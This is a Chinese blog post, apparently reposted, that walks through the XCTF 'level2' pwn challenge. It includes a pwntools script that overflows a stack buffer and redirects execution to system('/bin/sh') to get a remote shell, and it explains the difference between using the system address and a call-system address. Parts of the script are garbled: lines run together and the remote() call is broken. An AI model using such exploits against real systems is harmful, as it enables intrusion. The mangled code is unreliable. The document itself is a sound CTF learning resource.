攻防世界xctf PWN leve2详细讲解,两个地址方法

阅读: 评论:0

攻防世界xctf PWN leve2详细讲解,两个地址方法

攻防世界xctf PWN leve2详细讲解,两个地址方法

看题

常规看下保护:

32位程序,启用的保护不多,启用了NX防护
IDA看下代码


可以看到有一个溢出

/bin/sh 字符串有,system函数也有,齐活了。溢出把返回地址改成system的地址,再加/bin/sh参数就能拿到shell了。

上代码:

from pwn import *
context.arch = 'i386'
context.log_level="debug"#system_addr=0x08048320
system_addr=0x0804849ebin_bash_addr=0x0804A024#payload=b"A"*0x88+b"BBBB"+p32(system_addr)+p32(0)+p32(bin_bash_addr)
payload=b"A"*0x88+b"BBBB"+p32(system_addr)+p32(bin_bash_addr)#p = process("./leve2")
p = remote("61.147.171.105",vline()
p.sendline(payload)
p.interactive()

这里有一点要说,system_addr有两个地址,一个是0x0804849e,一个是0x08048320,0x0804849e对应的代码是call _system,而0x08048320就是system函数的地址。区别就在于一个有call,一个没有call,有call就不需要在返回地址后面再加一个栈帧(也就是system的返回地址),直接接参数,因为call会压一次栈,把下一条指令的地址(返回地址)压入栈,其实也是p32(system_addr)+p32(0)+p32(bin_bash_addr)这个结构,因为system会取前第两个栈帧的值当参数。

本文发布于:2024-02-02 08:03:47,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170683222642462.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:攻防   两个   地址   方法   详细
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23